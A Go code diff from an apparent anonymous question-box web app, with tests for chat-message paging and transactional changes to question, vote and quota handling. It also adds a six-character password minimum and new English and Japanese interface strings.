got, err := store.GetByConversationID(ctx, conv.ID, nil)
require.NoError(t, err)
// ① 不再被截断在 50 条
require.Len(t, got, total, "整个会话都应可见,而不是只取最早的 50 条")
// ② 顺序是时间正序(视图层气泡从上到下=旧→新)
require.Equal(t, "msg #1", got[0].Content)
require.Equal(t, fmt.Sprintf("msg #%d", total), got[len(got)-1].Content)
for i := 1; i < len(got); i++ {
require.Less(t, got[i-1].ID, got[i].ID, "返回结果必须按 id 升序,否则气泡顺序会乱")
}
}
// TestGetByConversationIDKeepsNewestWhenOverLimit 覆盖「消息数超过单次加载上限」的场景。
//
// 此时必须丢最老的、保最新的 —— 这正是修复前反过来的地方。
func TestGetByConversationIDKeepsNewestWhenOverLimit(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("messages", "conversations"); err != nil {
t.Fatal(err)
}
})
// 临时把上限压到 10,避免造 200+ 条拖慢测试
original := conf.Limits.ChatMaxMessages
conf.Limits.ChatMaxMessages = 10
t.Cleanup(func() { conf.Limits.ChatMaxMessages = original })
conv := &Conversation{OwnerID: 1}
require.NoError(t, database.Create(conv).Error)
const total = 15
for i := 1; i <= total; i++ {
require.NoError(t, database.Create(&Message{
ConversationID: conv.ID,
SenderID: 0,
Content: fmt.Sprintf("msg #%d", i),
}).Error)
}
store := NewMessageStore(database)
got, err := store.GetByConversationID(ctx, conv.ID, nil)
require.NoError(t, err)
require.Len(t, got, 10, "超过上限时应只取上限条数")
// 保最新:应拿到 #6–#15,#1–#5 被丢弃
require.Equal(t, "msg #6", got[0].Content)
require.Equal(t, "msg #15", got[len(got)-1].Content)
}
// TestGetByConversationIDCursorLoadsOlder 覆盖「加载更早消息」的游标语义。
//
// 游标必须与 ORDER BY id DESC 配套;修复前 cursor 走 id < 但排序是 ASC,
// 接上「加载更多」后会反复返回同一批最老的消息。
func TestGetByConversationIDCursorLoadsOlder(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("messages", "conversations"); err != nil {
t.Fatal(err)
}
})
conv := &Conversation{OwnerID: 1}
require.NoError(t, database.Create(conv).Error)
const total = 12
ids := make([]uint, 0, total)
for i := 1; i <= total; i++ {
m := &Message{ConversationID: conv.ID, SenderID: 0, Content: fmt.Sprintf("msg #%d", i)}
require.NoError(t, database.Create(m).Error)
ids = append(ids, m.ID)
}
store := NewMessageStore(database)
// 以第 7 条的 id 为界,往前取 3 条 → 应得到 #4–#6
got, err := store.GetByConversationID(ctx, conv.ID, &dbutil.Cursor{Value: ids[6], PageSize: 3})
require.NoError(t, err)
require.Len(t, got, 3)
require.Equal(t, "msg #4", got[0].Content)
require.Equal(t, "msg #6", got[2].Content)
// 再往前翻一页:以第 4 条的 id 为界取 3 条 → #1–#3
got, err = store.GetByConversationID(ctx, conv.ID, &dbutil.Cursor{Value: ids[3], PageSize: 3})
require.NoError(t, err)
require.Len(t, got, 3)
require.Equal(t, "msg #1", got[0].Content)
require.Equal(t, "msg #3", got[2].Content)
}
+96 -29
View File
@@ -14,7 +14,6 @@ import (
"time"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
"github.com/thanhpk/randstr"
"gorm.io/datatypes"
"gorm.io/gorm"
@@ -27,6 +26,8 @@ var Questions QuestionsStore
type QuestionsStore interface {
Create(ctx context.Context, opts CreateQuestionOptions) (*Question, error)
GetByID(ctx context.Context, id uint) (*Question, error)
// ListByIDsAndUser 按 ID 批量取某箱主名下的提问(一次查询,避免 N+1)。
ListByIDsAndUser(ctx context.Context, ids []uint, userID uint) ([]*Question, error)
GetByUserID(ctx context.Context, userID uint, opts GetQuestionsByUserIDOptions) ([]*Question, error)
GetByAskUserID(ctx context.Context, userID uint, opts GetQuestionsByAskUserIDOptions) ([]*Question, error)
AnswerByID(ctx context.Context, id uint, answer string) error
@@ -42,6 +43,13 @@ type QuestionsStore interface {
SetPrivate(ctx context.Context, id uint) error
SetPublic(ctx context.Context, id uint) error
SetPinned(ctx context.Context, id uint, pinned bool) error
// SetPinnedIfCurrent 仅在「当前置顶状态 == current」时才写成 pinned,返回是否真的写入。
//
// 用于「切换」这类 read-modify-write:handler 拿到的 is_pinned 是本次请求早期读的,
// 双击或并发提交时两个请求都会算出「取反」并写同一个值,状态机不是原子的
// (用户点两次期望「置顶后又取消」,实际仍是「置顶」)。
// 加上 current 条件后,第二次会因为状态已变而 0 行 —— 语义上「只切换一次」。
SetPinnedIfCurrent(ctx context.Context, id uint, current, pinned bool) (bool, error)
SetRead(ctx context.Context, id uint) error
SetUnread(ctx context.Context, id uint) error
// NextUnread 取该用户最早的一条未读提问(未读 = is_read=false 且未回答)。
@@ -103,6 +111,12 @@ type CreateQuestionOptions struct {
IsPrivate bool
}
// Create 新建提问,并在**同一个事务**里累加箱主的提问收集计数。
//
// 为什么配额要和提问同事务:原来是 handler 里「先 Create、再 IncrementQuota」
// 两次独立写入,后者失败只打一条 Warn。于是 quota_count 比真实提问数少,
// 箱主看到的「已收集 7/10」永远偏低;而达到上限后因为计数偏小,实际还能继续收,
// 等于定量收集被静默绕过。重置计数也校准不回来(重置是把计数清零,更脱节)。
func (db *questions) Create(ctx context.Context, opts CreateQuestionOptions) (*Question, error) {
question := Question{
FromIP: opts.FromIP,
@@ -113,7 +127,20 @@ func (db *questions) Create(ctx context.Context, opts CreateQuestionOptions) (*Q
AskerUserID: opts.AskerUserID,
IsPrivate: opts.IsPrivate,
}
return &question, db.WithContext(ctx).Create(&question).Error
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
if err := tx.Create(&question).Error; err != nil {
return errors.Wrap(err, "create question")
}
// 追问不计入配额,只算「一条提问」—— 与界面上「已收集」的口径一致。
if err := incrementQuotaTx(tx, opts.UserID, FeatureQuestion, 1); err != nil {
return errors.Wrap(err, "increment question quota")
}
return nil
})
if err != nil {
return nil, err
}
return &question, nil
}
type UpdateQuestionCensorOptions struct {
@@ -162,6 +189,25 @@ func checkTextCensorResponseValid(raw json.RawMessage) bool {
var ErrQuestionNotExist = errors.New("提问不存在")
// ListByIDsAndUser 按 ID 批量取提问,且必须属于指定箱主。
//
// 一次 IN 查询而不是循环 GetByID,供「提问者找回自己的提问」那个接口用:
// 浏览器里可能存着十几条记录,逐条查就是典型的 N+1。
// 只选择判定与摘要需要的列 —— 不取审核元数据、图片、追问等无关字段。
func (db *questions) ListByIDsAndUser(ctx context.Context, ids []uint, userID uint) ([]*Question, error) {
if len(ids) == 0 {
return nil, nil
}
var questions []*Question
if err := db.WithContext(ctx).
Select("id", "user_id", "token", "answer", "content", "created_at").
Where("id IN ? AND user_id = ?", ids, userID).
Find(&questions).Error; err != nil {
return nil, errors.Wrap(err, "list questions by ids and user")
}
return questions, nil
}
func (db *questions) GetByID(ctx context.Context, id uint) (*Question, error) {
var question Question
if err := db.WithContext(ctx).First(&question, id).Error; err != nil {
@@ -435,37 +481,47 @@ func answerUpdates(prevAnswer, answer string, extra map[string]interface{}) map[
return updates
}
// DeleteByID 删除提问及其追问、图片关联,并回退箱主的收集计数。
//
// 三步在同一个事务里完成:原来删除本体后,级联清理与配额回退还各自独立执行、
// 失败只打日志 —— 中途失败会留下「提问没了但追问还在」的孤儿记录,
// 或者计数没退回(达上限后功能一直关闭,箱主只能手动重置)。
//
// 用 Unscoped 真删:用户点删除的预期就是删掉。软删只是让界面上看不见,
// 提问里的 FromIP 与正文仍留在库里,等于「删了但没删干净」。
func (db *questions) DeleteByID(ctx context.Context, id uint) error {
var question Question
if err := db.WithContext(ctx).First(&question, id).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return ErrQuestionNotExist
return db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
var question Question
if err := tx.First(&question, id).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return ErrQuestionNotExist
}
return errors.Wrap(err, "get question by ID")
}
return errors.Wrap(err, "get question by ID")
}
if err := db.WithContext(ctx).Delete(&Question{}, id).Error; err != nil {
return errors.Wrap(err, "delete question")
}
// 级联清理子表:追问与上传图片,避免删除提问后残留孤儿记录。
// 直接用本 store 的 *gorm.DB 构造子 store,避免依赖包级全局单例
// (全局单例仅在 db.Init 装配,测试/部分初始化场景下为 nil 会 panic)。
if err := NewFollowUpsStore(db.DB).DeleteByQuestionID(ctx, id); err != nil {
logrus.WithContext(ctx).WithError(err).Errorf("Failed to cascade delete follow ups for question %d", id)
}
if err := NewUploadImagesStore(db.DB).DeleteByQuestionID(ctx, id); err != nil {
logrus.WithContext(ctx).WithError(err).Errorf("Failed to cascade delete upload images for question %d", id)
}
// 回退定量收集计数:删除提问等价于少一条已收集内容,
// 否则达上限后即便删掉旧提问,功能仍会显示 quota_reached 关闭,须手动重置计数。
if question.UserID != 0 {
if err := NewFeatureControlsStore(db.DB).IncrementQuota(ctx, question.UserID, FeatureQuestion, -1); err != nil {
logrus.WithContext(ctx).WithError(err).Errorf("Failed to decrement question quota for user %d", question.UserID)
if err := tx.Unscoped().Delete(&Question{}, id).Error; err != nil {
return errors.Wrap(err, "delete question")
}
}
return nil
// 级联清理子表:追问与上传图片,避免删除提问后残留孤儿记录。
// 直接用事务句柄构造子 store(NewXStore(tx)),子操作才会落在同一个事务里;
// 用包级全局单例在测试/部分初始化场景下还会是 nil。
if err := NewFollowUpsStore(tx).DeleteByQuestionID(ctx, id); err != nil {
return errors.Wrap(err, "delete follow ups of question")
}
if err := NewUploadImagesStore(tx).DeleteByQuestionID(ctx, id); err != nil {
return errors.Wrap(err, "delete upload images of question")
}
// 回退定量收集计数:删除提问等价于少一条已收集内容,
// 否则达上限后即便删掉旧提问,功能仍会显示 quota_reached 关闭,须手动重置计数。
if question.UserID != 0 {
if err := incrementQuotaTx(tx, question.UserID, FeatureQuestion, -1); err != nil {
return errors.Wrap(err, "decrement question quota")
}
}
return nil
})
}
type GetQuestionsCountOptions struct {
@@ -512,6 +568,17 @@ func (db *questions) SetPinned(ctx context.Context, id uint, pinned bool) error
return db.WithContext(ctx).Model(&Question{}).Where("id = ?", id).Update("is_pinned", pinned).Error
}
// SetPinnedIfCurrent 条件更新置顶状态(详见接口注释)。
func (db *questions) SetPinnedIfCurrent(ctx context.Context, id uint, current, pinned bool) (bool, error) {
res := db.WithContext(ctx).Model(&Question{}).
Where("id = ? AND is_pinned = ?", id, current).
Update("is_pinned", pinned)
if res.Error != nil {
return false, errors.Wrap(res.Error, "set question pinned if current")
}
return res.RowsAffected > 0, nil
}
func (db *questions) SetPublic(ctx context.Context, id uint) error {
return db.WithContext(ctx).Model(&Question{}).Where("id = ?", id).Update("is_private", false).Error
}
+22 -4
View File
@@ -68,6 +68,9 @@ type CreateVoteSubmissionOptions struct {
VoterIP string
FormData datatypes.JSON
CustomText string
// QuotaUserID 是投票的发起人(箱主)。非 0 时在同一事务里把票数计入
// 该用户「投票」功能的定量收集计数;为 0 表示不计数(测试/内部调用)。
QuotaUserID uint
}
var (
@@ -88,11 +91,26 @@ func (db *voteSubmissions) Create(ctx context.Context, opts CreateVoteSubmission
FormData: opts.FormData,
CustomText: opts.CustomText,
}
if err := db.WithContext(ctx).Create(submission).Error; err != nil {
if isDuplicateKeyError(err) {
return nil, ErrVoteAlreadyVoted
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
if err := tx.Create(submission).Error; err != nil {
if isDuplicateKeyError(err) {
return ErrVoteAlreadyVoted
}
return errors.Wrap(err, "create vote submission")
}
return nil, errors.Wrap(err, "create vote submission")
// 箱主级的「投票」定量收集按累计收到的票数计 —— 与创建投票无关,
// 所以这一步只能放在提交成功这里。放在事务内的理由同提问:
// 原来 handler 里是独立写入且失败只 Warn,跳过一票就永久少一票,
// 达上限时自动结束投票会晚一步,箱主的「已收集」也一直偏低。
if opts.QuotaUserID != 0 {
if err := incrementQuotaTx(tx, opts.QuotaUserID, FeatureVote, 1); err != nil {
return errors.Wrap(err, "increment vote quota")
}
}
return nil
})
if err != nil {
return nil, err
}
return submission, nil
}
+46
View File
@@ -70,6 +70,8 @@ type VotesStore interface {
Update(ctx context.Context, id uint, opts UpdateVoteOptions) error
UpdateStatus(ctx context.Context, id uint, status string) error
DeleteByID(ctx context.Context, id uint) error
// DeleteWithCascade 在一个事务里真删投票及其选项、表单字段、提交记录。
DeleteWithCascade(ctx context.Context, id uint) error
CountByUserID(ctx context.Context, userID uint) (int64, error)
}
@@ -359,6 +361,50 @@ func (db *votes) DeleteByID(ctx context.Context, id uint) error {
return nil
}
// DeleteWithCascade 删除投票及其全部关联数据(选项、表单字段、提交记录)。
//
// 为什么必须是一个事务:原来 handler 里是 4 次独立写入,前 3 次失败只打 Warn,
// 于是可能留下「选项没了但票数还在」(结果页统计全 0 而提交记录占着库)、
// 「投票没了但提交记录成孤儿」这类无法通过界面修复的状态 —— 箱主只能重试删除,
// 而重试时 vote 已不存在,直接报 not exist,脏数据永远留着。
//
// 为什么是 Unscoped(真删)而不是软删:
// 1. 用户点「删除」的预期就是删掉,不是「我还能看到但数据库里还在」;
// 2. 提交记录里有参与者填写的文本、voter_ip、voter_token —— 软删等于把这些
// 个人数据永久留在库里,而界面上已经看不到了,等于删了但没删干净;
// 3. 软删还会占住 link_token 唯一索引,删过的链接永远无法复用。
func (db *votes) DeleteWithCascade(ctx context.Context, id uint) error {
return db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
var vote Vote
if err := tx.First(&vote, id).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return ErrVoteNotExist
}
return errors.Wrap(err, "get vote by ID")
}
// 顺序:先清子表再删主表。没有外键约束(项目不用 FK),
// 所以顺序只影响可读性;真正的保证来自事务本身。
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteSubmission{}).Error; err != nil {
return errors.Wrap(err, "delete vote submissions")
}
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteOption{}).Error; err != nil {
return errors.Wrap(err, "delete vote options")
}
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteFormField{}).Error; err != nil {
return errors.Wrap(err, "delete vote form fields")
}
if err := tx.Unscoped().Delete(&Vote{}, id).Error; err != nil {
return errors.Wrap(err, "delete vote")
}
// 注意:这里**不**回退 quota_count。投票的定量收集口径是「累计收到的票数」
// (见 route/vote/vote.go 中提交成功后 +1),不是「创建了几个投票」——
// 删掉一个投票并不意味着那些票没发生过。箱主要腾额度靠界面上的「重置计数」。
return nil
})
}
// CountByUserID 统计箱主的投票总数(全部状态)。
func (db *votes) CountByUserID(ctx context.Context, userID uint) (int64, error) {
var count int64
+10 -2
View File
@@ -56,12 +56,20 @@ type UpdateTags struct {
ShowInHome string `form:"show_in_home"`
}
// 页面访问密码 / 提问密码的最小长度。
//
// P1-2:这两个字段此前只有 maxlen,箱主可以设成 1 位或 1234 —— 而页面密码正是产品
// 对外宣传的访问控制,提问密码是箱主过滤骚扰的唯一门槛。6 位是最低可接受值
// (纯数字 10^6,配合失败锁定后穷举不可行);留空仍然合法,表示关闭该密码
// (govalid 对空值跳过 minlen / maxlen)。
const PasswordMinLen = 6
// 新增:页面访问密码表单
type UpdatePagePassword struct {
Password string `valid:"maxlen:30" label:"页面访问密码" msg:"form.profile.passwordMax"` // 留空表示关闭
Password string `valid:"minlen:6;maxlen:30" label:"页面访问密码" msg:"form.profile.passwordLen"` // 留空表示关闭
}
// 新增:提问密码表单
type UpdateAskPassword struct {
Password string `valid:"maxlen:30" label:"提问密码" msg:"form.profile.passwordMax"` // 留空表示关闭
Password string `valid:"minlen:6;maxlen:30" label:"提问密码" msg:"form.profile.passwordLen"` // 留空表示关闭
}
+120 -52
View File
@@ -16,21 +16,22 @@ var enDict = map[string]string{
"nav.lang": "Language",
// Common
"common.login": "Log in",
"common.forgot": "Forgot password",
"common.submit": "Submit",
"common.cancel": "Cancel",
"common.save": "Save",
"common.close": "Close",
"common.delete": "Delete",
"common.moveUp": "Move up",
"common.moveDown": "Move down",
"common.share": "Share",
"common.verifying": "Verifying...",
"common.submitting": "Submitting...",
"common.uploading": "Uploading...",
"common.lang": "Language",
"common.menu": "Menu",
"common.login": "Log in",
"common.forgot": "Forgot password",
"common.submit": "Submit",
"common.cancel": "Cancel",
"common.save": "Save",
"common.tooManyRequests": "Too many requests. Please try again later.",
"common.close": "Close",
"common.delete": "Delete",
"common.moveUp": "Move up",
"common.moveDown": "Move down",
"common.share": "Share",
"common.verifying": "Verifying...",
"common.submitting": "Submitting...",
"common.uploading": "Uploading...",
"common.lang": "Language",
"common.menu": "Menu",
"common.pleaseWait": "Please wait...",
"common.backHome": "Back to Home",
@@ -87,41 +88,49 @@ var enDict = map[string]string{
"explore.noVotes": "There are no public polls available right now.",
// Ask page
"ask.scan": "Scan to ask @%s",
"ask.anonymous": "Anyone can ask anonymously",
"ask.registerOnly": "Only registered users can ask",
"ask.nextOpenAt": "Next opening: %s",
"ask.lastCloseAt": "Last closed: %s",
"weekday.0": "Sun",
"weekday.1": "Mon",
"weekday.2": "Tue",
"weekday.3": "Wed",
"weekday.4": "Thu",
"weekday.5": "Fri",
"weekday.6": "Sat",
"ask.pinned": "Pinned",
"ask.share": "Share this box",
"ask.placeholder": "Write your question here...",
"ask.chatPlaceholder": "Write your chat message here...",
"ask.addImage": "Add image",
"ask.private": "Don't publish after reply",
"ask.notify": "Notify me",
"ask.emailPlaceholder": "Enter your email address",
"ask.submit": "Send question",
"ask.chat": "Start a chat",
"ask.chatDisabled": "Chat is disabled on this box",
"ask.chatLimit": "Message limit: %d",
"ask.history": "Previously answered by @%s",
"ask.loginRequired": "Log in required",
"ask.loginRequiredChat": "You need to log in to start a chat",
"ask.goLogin": "Go to login",
"ask.needPassword": "This box requires a password",
"ask.needLogin": "The owner only allows registered users to ask questions. Please log in first.",
"ask.pleaseEmail": "Please enter your email to receive notifications",
"ask.generating": "Generating share card…",
"ask.genFailed": "Failed to generate share card. Please try again later",
"ask.networkError": "Network error",
"ask.shareFilename": "share.png",
"ask.scan": "Scan to ask @%s",
"ask.anonymous": "Anyone can ask anonymously",
"ask.registerOnly": "Only registered users can ask",
"ask.nextOpenAt": "Next opening: %s",
"ask.lastCloseAt": "Last closed: %s",
"weekday.0": "Sun",
"weekday.1": "Mon",
"weekday.2": "Tue",
"weekday.3": "Wed",
"weekday.4": "Thu",
"weekday.5": "Fri",
"weekday.6": "Sat",
"ask.pinned": "Pinned",
"ask.share": "Share this box",
"ask.placeholder": "Write your question here...",
"ask.chatPlaceholder": "Write your chat message here...",
"ask.addImage": "Add image",
"ask.private": "Don't publish after reply",
"ask.notify": "Notify me",
"ask.emailPlaceholder": "Enter your email address",
"ask.submit": "Send question",
"ask.chat": "Start a chat",
"ask.chatDisabled": "Chat is disabled on this box",
"ask.chatLimit": "Message limit: %d",
"ask.history": "Previously answered by @%s",
"askHistory.banner": "You have {n} question(s) saved on this device",
"askHistory.answeredSuffix": ", {m} of them answered",
"askHistory.expand": "View",
"askHistory.collapse": "Hide",
"askHistory.answered": "Answered",
"askHistory.pending": "Awaiting reply",
"askHistory.open": "Open",
"askHistory.note": "Saved only in this browser. Switching devices or clearing browser data will lose them.",
"ask.loginRequired": "Log in required",
"ask.loginRequiredChat": "You need to log in to start a chat",
"ask.goLogin": "Go to login",
"ask.needPassword": "This box requires a password",
"ask.needLogin": "The owner only allows registered users to ask questions. Please log in first.",
"ask.pleaseEmail": "Please enter your email to receive notifications",
"ask.generating": "Generating share card…",
"ask.genFailed": "Failed to generate share card. Please try again later",
"ask.networkError": "Network error",
"ask.shareFilename": "share.png",
// Question item
"qitem.answer": "Answer",
@@ -182,9 +191,9 @@ var enDict = map[string]string{
"admin.tagInputHint": "Type and press Enter or comma to add",
"admin.tagInputDuplicate": "Already exists, ignored",
"admin.pagePassword": "Page access password",
"admin.pagePasswordHint": "Set a page password (leave empty to disable)",
"admin.pagePasswordHint": "Set a page password (6–30 characters, leave empty to disable)",
"admin.askPassword": "Ask password",
"admin.askPasswordHint": "Set a password for asking (leave empty to disable)",
"admin.askPasswordHint": "Set a password for asking (6–30 characters, leave empty to disable)",
"admin.saveProfile": "Save changes",
"admin.updated": "Profile updated successfully",
"admin.logout": "Log out",
@@ -298,6 +307,9 @@ var enDict = map[string]string{
"qlist.unpinShort": "Unpin",
"qlist.myVotes": "My votes",
"qlist.loadMore": "Load more",
"qlist.noMore": "No more posts",
"qlist.loading": "Loading...",
"qlist.viewAnswer": "View answer",
"qlist.newVote": "New vote",
"qlist.edit": "Edit",
"qlist.untitledVote": "Untitled vote",
@@ -619,6 +631,7 @@ var enDict = map[string]string{
"vote.page.submit": "Submit vote",
"vote.page.alreadyVoted": "You have already participated in this poll. Thanks!",
"vote.page.resultsTitle": "Poll Results",
"vote.page.anonymousNotice": "Anonymous poll — one vote per person, results are indicative only.",
"vote.page.totalVotes": "Total",
"vote.page.avgRating": "Average",
"vote.page.avgRank": "Avg rank",
@@ -628,6 +641,7 @@ var enDict = map[string]string{
"vote.page.rankHint": "Rank each option 1-N (smaller = higher, no duplicates)",
"vote.page.rankPlaceholder": "Rank",
"vote.page.multipleHint": "Multiple choice",
"vote.page.multipleHintWithMax": "Multiple choice (up to %d)",
"vote.page.customOption": "Custom option (optional)",
"vote.page.customPlaceholder": "Type your own option",
"vote.page.customOther": "Other",
@@ -757,6 +771,7 @@ var enDict = map[string]string{
// Question box page: visitor-visible (P0)
"question.errWrongPassword": "Wrong password",
"question.errPasswordLocked": "Too many wrong attempts. Please try again in %d minutes.",
"question.errAskPasswordWrong": "Wrong ask password",
"question.errLoginRequired": "The owner only allows registered users to ask questions. Please log in first.",
"question.errSelfChat": "You cannot start a chat with yourself",
@@ -838,6 +853,8 @@ var enDict = map[string]string{
"vote.err.fieldSerialize": "Failed to serialize field options",
"vote.err.editClosed": "Votes that are ended or archived cannot be edited",
"vote.err.publishDraftOnly": "Only draft polls can be published",
"vote.err.restrictedPublish": "Publishing is suspended while this account is under moderation",
"feature.stateUnavailable": "Unable to verify the status of this feature, please try again later",
"vote.err.closePublishedOnly": "Only active polls can be closed",
"vote.err.publishTitleRequired": "Please fill in the poll title before publishing",
"vote.err.publishFormFieldsRequired": "Form polls need at least 1 field",
@@ -903,6 +920,12 @@ var enDict = map[string]string{
"chat.flash.operated": "Operation successful",
"image.errTooLarge": "Image is too large, maximum supported size is %d×%d pixels, please compress and re-upload",
"internal.errFlash": "Internal server error, please try again later.",
"internal.errBadRequest": "Invalid request",
"error.notFoundTitle": "Page not found",
"error.notFoundDesc": "There is nothing at this address. The link may be mistyped, or the content has been removed.",
"error.internalTitle": "Something went wrong",
"error.internalDesc": "This request could not be completed. It is usually temporary — try again in a moment.",
"error.traceHint": "Please include this ID when reporting:",
"internal.errServer": "Internal server error",
"home.errStats": "Failed to retrieve statistics",
"pixel.errPath": "Invalid request path",
@@ -926,6 +949,7 @@ var enDict = map[string]string{
"form.profile.name": "Nickname is required and must be at most 20 characters",
"form.profile.newPassword": "New password must be at most 30 characters",
"form.profile.passwordMax": "Password must be at most 30 characters",
"form.profile.passwordLen": "Please set a password of 6–30 characters",
"form.question.content": "Question content is required",
"form.question.contentTooLong": "Question content must be within %d characters",
"form.question.receiveReplyEmail": "Please enter a valid email address to receive replies",
@@ -1030,6 +1054,50 @@ var enDict = map[string]string{
"stats.weekday.6": "Saturday",
"stats.weekday.7": "Sunday",
// Owner insights panel (/user/insights)
"insights.title": "Insights",
"insights.heading": "Your insights",
"insights.lead": "These numbers are yours alone: how many people opened your box, how many questions arrived, and how many are still waiting. Everything is aggregated — no visitor or asker is ever identified.",
"insights.back": "Back to settings",
"insights.entryTitle": "Insights",
"insights.entryDesc": "See how many people visit your box and how your questions are doing",
"insights.summary": "At a glance",
"insights.noViews": "No visits recorded yet. Numbers will appear once someone opens your box.",
"insights.today": "Today",
"insights.week": "Last 7 days",
"insights.month": "Last 30 days",
"insights.newQuestions": "new questions",
"insights.pv": "views",
"insights.uv": "visitors",
"insights.trendTitle": "Views over the last 30 days",
"insights.trendNote": "One bar per day: the light part is page views, the dark part is unique visitors that day. Hover a bar for its views / visitors / questions.",
"insights.legendPV": "Page views",
"insights.legendUV": "Unique visitors (per day)",
"insights.legendHover": "Hover for daily details",
"insights.hourTitle": "When people show up",
"insights.hourNote": "When questions arrived during the last 30 days. The brightest bar is your busiest hour.",
"insights.funnelTitle": "Question handling",
"insights.funnelNote": "All questions split into answered / read but unanswered / untouched.",
"insights.funnelTotal": "All questions",
"insights.funnelAnswered": "Answered",
"insights.funnelReadOnly": "Read, not answered",
"insights.funnelUnread": "Not read",
"insights.answerRate": "Answer rate: answered ÷ all questions",
"insights.privacyTitle": "About these numbers",
"insights.privacyNote": "Visit stats only record \"someone visited N times on a given day\". A visitor is an IP hash with a per-day salt — no IP, no user agent, no page path is stored, and the same person cannot be linked across days. The 7-day / 30-day visitor counts are therefore the sum of daily uniques: someone visiting on several days counts several times. Your own visits to your own box are excluded.",
"insights.insight.empty": "No data yet. This page comes alive once you get your first question or someone opens your box.",
"insights.insight.weekViews": "%s views from %s visitors in the last 7 days.",
"insights.insight.conversion": "About %s%% of visitors left a message in the last 30 days.",
"insights.insight.bestDay": "Your busiest day was %s with %s views.",
"insights.insight.peakHour": "Questions cluster around %d:00.",
"insights.insight.answerRate": "You have answered %s%% of all questions.",
"insights.insight.fastReply": "%s%% of your answers went out within 24 hours.",
"insights.insight.unread": "%s questions are still waiting.",
"insights.insight.trendUp": "Views this week are up %s%% on last week.",
"insights.insight.trendDown": "Views this week are down %s%% on last week.",
"insights.insight.trendFlat": "Views this week are about the same as last week.",
"stats.foot.updated": "Snapshot:",
"stats.foot.prevMonth": "Last question:",
"stats.foot.prevAnswer": "Last answer:",
+120 -52
View File
@@ -16,21 +16,22 @@ var jaDict = map[string]string{
"nav.lang": "言語",
// 共通
"common.login": "ログイン",
"common.forgot": "パスワードを忘れた",
"common.submit": "送信",
"common.cancel": "キャンセル",
"common.save": "保存",
"common.close": "閉じる",
"common.delete": "削除",
"common.moveUp": "上へ移動",
"common.moveDown": "下へ移動",
"common.share": "共有",
"common.verifying": "認証中...",
"common.submitting": "送信中...",
"common.uploading": "アップロード中...",
"common.lang": "言語",
"common.menu": "メニュー",
"common.login": "ログイン",
"common.forgot": "パスワードを忘れた",
"common.submit": "送信",
"common.cancel": "キャンセル",
"common.save": "保存",
"common.tooManyRequests": "リクエストが多すぎます。しばらくしてから再度お試しください。",
"common.close": "閉じる",
"common.delete": "削除",
"common.moveUp": "上へ移動",
"common.moveDown": "下へ移動",
"common.share": "共有",
"common.verifying": "認証中...",
"common.submitting": "送信中...",
"common.uploading": "アップロード中...",
"common.lang": "言語",
"common.menu": "メニュー",
"common.pleaseWait": "お待ちください...",
"common.backHome": "ホームに戻る",
@@ -87,41 +88,49 @@ var jaDict = map[string]string{
"explore.noVotes": "現在、参加できる公開投票はありません。",
// 質問ページ
"ask.scan": "QRコードで@%sに質問",
"ask.anonymous": "誰でも匿名で質問できます",
"ask.registerOnly": "登録ユーザーのみ質問できます",
"ask.nextOpenAt": "次回開放:%s",
"ask.lastCloseAt": "前回終了:%s",
"weekday.0": "日",
"weekday.1": "月",
"weekday.2": "火",
"weekday.3": "水",
"weekday.4": "木",
"weekday.5": "金",
"weekday.6": "土",
"ask.pinned": "ピン留め済み",
"ask.share": "質問箱を共有",
"ask.placeholder": "ここに質問を書いてください...",
"ask.chatPlaceholder": "ここにチャットメッセージを書いてください...",
"ask.addImage": "画像を追加",
"ask.private": "返信後に公開しない",
"ask.notify": "通知を受け取る",
"ask.emailPlaceholder": "メールアドレスを入力してください",
"ask.submit": "質問を送信",
"ask.chat": "チャットを開始",
"ask.chatDisabled": "この質問箱ではチャットが無効です",
"ask.chatLimit": "メッセージ上限:%d件",
"ask.history": "@%s が以前回答した質問",
"ask.loginRequired": "ログインが必要",
"ask.loginRequiredChat": "チャットを開始するにはログインが必要です",
"ask.goLogin": "ログインへ",
"ask.needPassword": "この質問箱にはパスワードが必要です",
"ask.needLogin": "質問箱の所有者は登録ユーザーのみ質問できるように設定しています。先にログインしてください。",
"ask.pleaseEmail": "通知を受け取るメールアドレスを入力してください",
"ask.generating": "共有カードを生成中…",
"ask.genFailed": "共有カードの生成に失敗しました。しばらくしてからお試しください",
"ask.networkError": "ネットワークエラー",
"ask.shareFilename": "share.png",
"ask.scan": "QRコードで@%sに質問",
"ask.anonymous": "誰でも匿名で質問できます",
"ask.registerOnly": "登録ユーザーのみ質問できます",
"ask.nextOpenAt": "次回開放:%s",
"ask.lastCloseAt": "前回終了:%s",
"weekday.0": "日",
"weekday.1": "月",
"weekday.2": "火",
"weekday.3": "水",
"weekday.4": "木",
"weekday.5": "金",
"weekday.6": "土",
"ask.pinned": "ピン留め済み",
"ask.share": "質問箱を共有",
"ask.placeholder": "ここに質問を書いてください...",
"ask.chatPlaceholder": "ここにチャットメッセージを書いてください...",
"ask.addImage": "画像を追加",
"ask.private": "返信後に公開しない",
"ask.notify": "通知を受け取る",
"ask.emailPlaceholder": "メールアドレスを入力してください",
"ask.submit": "質問を送信",
"ask.chat": "チャットを開始",
"ask.chatDisabled": "この質問箱ではチャットが無効です",
"ask.chatLimit": "メッセージ上限:%d件",
"ask.history": "@%s が以前回答した質問",
"askHistory.banner": "この端末に {n} 件の質問履歴があります",
"askHistory.answeredSuffix": "(うち {m} 件は回答済み)",
"askHistory.expand": "表示",
"askHistory.collapse": "閉じる",
"askHistory.answered": "回答済み",
"askHistory.pending": "回答待ち",
"askHistory.open": "開く",
"askHistory.note": "履歴はこのブラウザにのみ保存されます。端末の変更やブラウザデータの削除で失われます。",
"ask.loginRequired": "ログインが必要",
"ask.loginRequiredChat": "チャットを開始するにはログインが必要です",
